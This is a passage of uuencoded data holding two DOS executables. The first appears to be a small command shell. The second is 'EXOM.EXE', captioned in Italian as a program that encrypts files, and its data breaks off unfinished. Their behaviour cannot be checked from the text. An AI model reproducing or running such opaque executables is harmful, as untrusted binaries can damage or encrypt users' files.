M@/L#=`V`^P%T#'?H/"!VY.L(/#UT!#P@=]I.^,.X-!+_T(N&-!+_X',#Z6'T
M<@/I7/3I6?2-MC02B[8T$KXT$HV^-!*+OC02OS02````````````````````
M`````````````````````````2(``````/R](`&+;@"+I@(`BYX$`+1*S2&A
M+`")AAH`BYX``/_C``````4``````+@`3,TA```.``````"*%$8*TG0&M`+-
M(>OSPP``,@``````Z!0`14-(3R!I<R`D;VX*#21O9F8*#21:4+0)S2&!P@D`
M6`K`=`>!P@4`@\(%M`G-(<,``"P``````.@?`%-T<FEK92!A;GD@:V5Y('=H
M96X@<F5A9'DN+BX-"B1:M`G-(;0'S2'#```%``````#^AA\`PP``&0``````
MK#P)=`P\('(.=`8*TG7QZP0*TG3K^,/YPP``(@````(`=!!3Z```6S+2_U?Z
M<A'^SGX)_L+_5_IR!.OL3OA;P_GK^P``80````0`*!&0$5/H``!;5U:T_ZP*
MP'0)/"5T$ZK^S'7R,L"J7E^S_RK<B%W_6\.L23PE=.<\?W425HNV#@"L/`!T
M!:K^S'7V7NL/BO"`[C!R#H#^"7<)_U?X"N1UM>O!3D'_5_KK\P``8`````(`
ME1!3Z`8`1$]3,E@`6U%6'KZ``#/)B@Q&/@*V'P`*]G4K4+0PS2$\`EAW!(TW
MZR(&5XX&+``RP#/_N0"`\JZN=?NOB_=?!XX>+`#K!?]7^G(*K#P@=@6J_LQU
M]A]>65O#```N`````@#&$5/H``!;'KG_`%>+_HO1L"7RKBO12HO/7U'_5_IR
M"JP*P'0%JO[,=?9>'UO#``!&``````!345<&CH8:`#/_B]Z+\XO*\Z9T%#+`
MN?__\JXF@#T`=>N+]P8?^>L9B_<&'ZP\/77[@#P`=.NL"L!R!#P@<O=.^`=?
M65O#``!C`0``"@#,$^,/?Q,5%%T54^@R``!0051(/4-/345814)!5`````!"
M860@8V]M;6%N9"!O<B!F:6QE(&YA;64-"@`O0R``6XEW#XE_$8N6"@"#P@3&
M1S$`Q@<`B_HSR0H/=7-25C/2@'P!.G4-BA2`XM^`ZD"E@T</`H`\7'0<L%RJ
M5HOWM$?-(5XRP+E``/*N3X!]_UQT`[!<JC/`K#TN+G4._;!<N1(`\J[RKOQ'
MZ^RJBN`\7'4#_D<Q/`!UWD^+U_VY!0"P+O*N_'4#1XO7B_I>6NLE@'\Q`'4(
MBW</_U?V<PB-=Q/_5_3K>[E)`*P\('8'/"YT`ZKB]+`NJHUW!KD#`*6D,L"J
M4E91B_+_5_I97EIS"H/O!.+I_@?I._^#^0%U,XUW+H/J`XOZI:0RP+G\`/*N
MQD7_((MW$3A,_W<#BDS_\Z3&!0V+\HO'*\*(1/__5_+K#XM_$4_^#5>+\O]7
M^%_^!5O#``!%`````@#&$5/H!`!0051(6U)6'KH$`(OS_U?Z2>,+K`K`="0\
M.W7WZ_*L/#MT!PK`=`.JZ_0.'R:`??]<=`.P7*KX'UY:6\/YZ_@``"$````$
M`!44]1-3Z```6XO^3QZ*AAX`4/]7^B[_5_A8B(8>`!];PP``&`````(`QA%3
MZ`<`0T]-4U!%0UNZ!P"+\_]7^EO#``!X``````!3Z"```$1534U9("`@1D-"
M``````!$54U-62`@($9#0@````!;'@:)I@(`5U:+]T:-/[@#*<TAC7\0N`,I
MS2%>7PZ-5Q!2#HT74@Y7+J$L`%"+W+@`2XO6S2&](`$NBVX`C,OZCM.+I@(`
M^_P''[1-S2&(AAX`6\,``&4````$`.,/$Q7H&P`@("`@("`@("!,86)E;"!N
M;W0@9F]U;F0-"@!;5XO[,]*Y"`"L/"!V#CQA<@8DWSQ:=P2J0N+MB\J+\XN^
M&``#_5/_5_M:7G(/BT<""_9T`XD"PUC_=P+#B]K_5_G#```)```````SP`L$
M=`);4,,``"@``````%:+UHO!B]^+^X/'!(ORB\@X#74%1_.F=`R#/_]T!`,?
MZ^7YZP'X7L,``!(``````#/)BDS_.DW_=0;SIG4"^,/YPP``%0``````B]>T
M&LTAB]8SR;1.S2%R!(/''OC#```A```````SP(O8BAR`ZS!R$8#["7<,N@H`
M]^)R!0/#1NOH.(8>`,,``*\````"`)404^@N````````````````````````
M``````````````````````````````````````!;5HMW`0OV=`6*!XA$_UZ-
M5P.T&LTA@'T!`'0+M$_-(7(%C5<>ZS[&10$`_@6*-?]7^G([B]8RY*P\('8.
M/#]U`O[$/"IU\?[$Z^TRP(9$_X@'"N1T#\9%`0$SR;1.S2%RQ8U7'HF6#@")
M=P'X6\/'!0``QT<!``#YZ_(``)L``````%/H"0!#3TU-04Y$``!;!J$L`#F&
M&@!U+U.T,,TAAL2)1P>T4LTA)HM'_KD4`%N.P":`/@``375@0"8[!@$`=`DF
M`P8#`.+GZT^!?P<`"G,5@7\'``1R#AZ--[\(`+D'`/.F'W7;B]".P":+'BP`
MB\-+CL,F@#X``$UT&8O"2([`)@,&`P!`CL`F.18!`'0$XN_K!4")AAH`!UO#
M```[`0``!@!:%N,/QA%3Z"````!/=70@;V8@96YV:7)O;FUE;G0@<W!A8V4-
M"@`-"@!;B\>&Q(@G4/]7]EA5!KG_`#/25HO^K`KD=!P\('48L#U7JJP\('3[
M/#UT]ZH*P'0#K.OX7^L="L!T&3P]=!4\87(&/'IW`B3?/"!V`O[&JO["XL)>
MB%<!BL8R]@K`=28>+HX>+``S]HU_'8S)+O]7^!Y6CMF+]R[_5_A>'X`\`'7K
M'^F'`(O&1RZ`/2!S`C/`4/]7^EH>!XO^<B$RP/VY``'RKD='5_RY``'RKHOW
M7S+DK*H*X'0$BN#K]D\.'XOR"_9T2`:,P$B.P":++@,`L033Y4U-!S/`BD<!
M_L`#QSO%<QZ*)SO]<QBL@/P"=0H\87(&/'IW`B3?J@K`=>>JZPLRP*H.!XUW
M`O]7^`==6\,``$$``````,>&$`#__XO6,\FX`CP+_W0"_L3-(7(IB]@+_W0+
MN`)",]*+RLTA<AB)GA(`4[1%NP$`S2&)AA``N0$`6[1&S2'#```;``````"#
MOA``_W03M$:+GA``N0$`S2&T/HN>$@#-(<,``"8``````,>&%`#__XO6N``]
MS2%R%HF&%@!0M$4SV\TAB884`#/)6[1&S2'#```:``````"#OA0`_W02M$8S
MR8N>%`#-(;0^BYX6`,TAPP``!P``````B]:T0<TAPY`.10*+-D,"CAY'`BO.
M`\%S!KHD`^F8`/.D#A\%``)R\27^_R:)A@(`!0(`)HF&!@`%`0%RW":)A@@`
M!0$!<M(FB88*``4!`7+()HF&#``%_P!ROHD^4P(%#P!R%;$$T^@FB88$`";&
1AA\``";&AAX``+0\,\FZC`(`
end


ExOM 0.03
Questo programma serve per encryptare i file

begin 644 EXOM.EXE
M35IQ`1(````"`/`A`2(>%``H````````'````#P````>!@X?#@>^$P"_`'^+
MS_Q7\Z3#,_^^O'^R@+U??U"L]M"JNQ``_]5S]?_507,/_]5R2?_5$MMS^G4O
MD^LPMP'_U1+_<E'_U7+V_]43R?_5<OB`[P-R$8H<1H#_!7,&@/\!<P)!05BH
M6U/WVXH!JN+[Z[`"TG4$K)(2TL.[``3_U1+;=`;_U7,"T.__U1/;<_K_U1K-
MZ\U;,_:Y%@&L/.AU^RDTK>+VN>,!C;47_HS+,_\SP*P\`7<,=0E'1X`]FG7Z
MKZBM`_@!'>+G!Q_I.XO\,$S?Y,;2ROT`NH?RFIR*BYXSG9/O,=?-ZQS]L++'
M44S[M)V&YWQ%];*S`5BJ=AI@1P;\94K]V5-^$XF-3_BOC9V&:_Z,'$6!$$#I
M`C7AJ!P*^O:U<PI[J=F!7:OX?]'"3?5/1J]?OX\AX13PVI>C-"CO'!C/&_H^
MH.&%#')!#0`>*I0'_`?^SC\Q/(+XEJI7Q2Z_+2R7NK+QUE,F,#F.0X5`^RT@
ME.OY\,?UPBN5/_?R'_`T5_2B/N8]J8B/(?9P3]_10@ORD:T!$1'^#R'C6K/S
M#(N((!74U[Y%XDZB];<8A@\AY-^>(E,"(9+]Y-II3R%Y^W@7+4,%I2+?\47"
M+Q/]')%YDM=/VWTA>);[D5(D3L#0SY-X+*#VK8LV)B\?P%%V$Z(\L9"2_::0
M.X'[^:9@9$?PHLKVOCN3B(R8^G*2,46R/T.4<3:]F97^)&X]-'JHWG)@_89(
M?`]&0*GX)O;?8$'^Q.A;.9#QMQ4"_HOW0,K[0$@7/*L\M/=/&:@Y1R'T(K'T
M#-J:4ND#"J7$/8QX%H'^^WX:S1M:X6")XD\4VA?QW,K^D`85CW]MP(MF^C#Y
MZCK\NO"[-50XZ&Q/AE:GB"_]?$",>(9").WGB*UMD/XA-M1#KB&F_$,MJ*R&
M1Z32?:?&Z08S7:SYS=6-#*V31Y\7D&]QP5']C.E(>5_HLP#G3OPL'_IS#*3*
M8(WG3T-UB/J0^,44X&P8=&LOZ_8QVOP](I3G=&$<!HKPU<M*+.U/.[JA?Y0+
MLQ4![M29,Y4_QU@N'P5O^J@@7^O!2IM6X9'LXCN6%:4I5AO-X5%WXK@83P^I
M0MK/:7G3NPHI#\J#&U#W5;PI.O,4*;FVI&4=7TP!YCXB1V`!4M0A0Q:5^&`&
MD<W`BKZ0!KW:X9"ZRJ)2*L;[JE'HPF:ML9#B**7&1Z#?PYF6`9.:P?[`_=#!
MT=(`E_:JC)Z8FD[%"O?T1AV1]Y)#3_8H#?QP@3R&TI8=#M`2[]].&P&0D=ON
MR->FC-"R.-B[6];,GHML\+D&EY:,H8F:C9<_0ANDX*(.B)Y"G-B;8IKBKY=`
MV8^@O8LW5B>85QN0Q=CI<`&LL&&Q3[I'F*V^F^UKJV^6^#_+?@_"?LK>^[XQ
MW-^K2697913I.]BS=/I&QYS"^&T(6MQVWJD?GI.2E0BAB[2["J/%="0`LKZQ
MBY:\SZU4N@[!]:&>D8>QR[F*F)R-/8:/!R["Q=:=@E^MFKN-0U#E8]"JN'Y%
MQ#H/)+R&G0<5K9Z'E1"`7[V*F(V:,H^0(HO>_C'1^QBZIY_NH3F1V!F0CR$R
MED2>:]Y1O@?\-L\>PZ6XO/+U#KR0DH_>C,._=T\XUXA:ET&'KXB<E)*(Z:Z]
M8U=-A+V;-^[\19BJ0'C>\?9W`=2VI)M)A`(#]+RJ8P41WNWR"ARY-V)D<HU.
MTOO7R\CX[D.QD*:-N["L?R[>P$C0WZA;\M33TPJ3J/JOIF/?72-MWVN"W_X9
[email protected]]\Z.*C]P_@K`4L[OFCWV<6,V.I!RJ%53IIJA^C8Z1INP91Q%14LTI
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
MB&QVK`9#"=FU!LU2_#WX#3#IG`=/\1$4*[email protected]`MCCXS*($LQ`B+GNJ@
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
M;#2@/$!_GT`[\LTD$K@-<!SV6T+"WXC\=0Y`[[email protected]`-Z\M8HA/)":
M2/-X)EZ)9&MH_1NV+A9'6NTV(I:YC9M5074?21NJ$506FGDTB@W]GMJY5;@X
M@K0!&/VLEMR['+V'XJ>^DP<PEV^,^?)/`IGP7P9>;_!^YN&M-KC<![5F0+B<
M>2<9,M^`NJ<`L+(%0N_^`!H8OH66@]^]\118%=0V`*[A!'$F=>F39/MPR9#%
M*8L'B`O@`:1V%@$XUB:!KX2JIVVKM<-ZJ8;Q>/BNIW_/3:PY!CPTQR8_TZBA
MU`8_KZ"HI)#YI:(T#+*,NY!X*AACT0GX%-Y!I($YZ1JK5.!!)_R[]W:L<S<P
M^N]G-CIT9J`7_FV@,192P-\,N):)FK?H+Y6WT)S2C7#>/;N-Q<'4CZ06VYW\
M.O3Q1)".`'3@QCR,]TWX?DMEWOG3=A<`Q_RC`^=TL_D<[BFH_:SK<6P]`L#9
M_OI\/'0&UJE!8J#Q^$`2P$9?[*1RH>MA6'?IK^YR[#@%X<G!^C$%Y-R![\).
MH_L>]Y8&HQ<0^&T9FQQ;-.?861W,"43E`+9`?Z>D`/C@IJ4%<2QV"3L$K:X`
M_#1A^NP`A71""Z$W51UK<35^=@$!GS1+'VV@1`O09300UP#Z)-4WL)1&`-*$
M9E\SI(D*P&1K!L;[`$X;8,=3%K9C`$<W"KZ/[2_,`*YW#J+!B]QF!O#$4PSD
M<+(H+I@,V%J\WD`=:%&/J`#9=X8YH2PJ``)9YLB`%A7`^D5,*6?CW##&3&IR
MA]#E2P!-\U(;LD9E+]X*%)1#ZFVDP&$T`,F,]$M1`]IK`3!9^1L`9`48ZH#!
M06@`UFY$.PJ+>/,`(OX^732?Z](-"P-+&XV\`(=TI-N!!UXDD;FB00#OM%%F
MDR%3,@::Y`#/X`-=4BAI^R``+U#)026V9'S<2@VHC?`L,P`/V7/(]1(`&5`;
MWISWB7D:8[9%U"-I*D#P+#W"3S1>-`"`!X;2"C>H&P`P#7B^KC,R=("J$3:'
MH@#]/B?C:&N::&UJ&OEF<_@><#>W3`!HKEV(32*#I@`0?+`1+F!ZO=+O`$QU
M!RJO]GG..HGT8&P%#P#@+L%`(_>!50"`#7G2&$W+8`!!$GT,R>H>2`#C*M7\
MC']6]@`V;-AQ;IZ[#0'LN%QD/#Z6@[8`<`$2VX#=/P`5KFV(-P/,H`#[)KE4
M7A]SR0"P)3YO&_:X(ABHH'4`9?C26$9#`WU2UF0#$R,P\6,6]Z,$ADJSCSU+
MXG#!2",#LRCTO53H`#<"QP!I]Q>\'PJ'2>@@0(!6S-*PYQC^8(*`P;BMZOE]
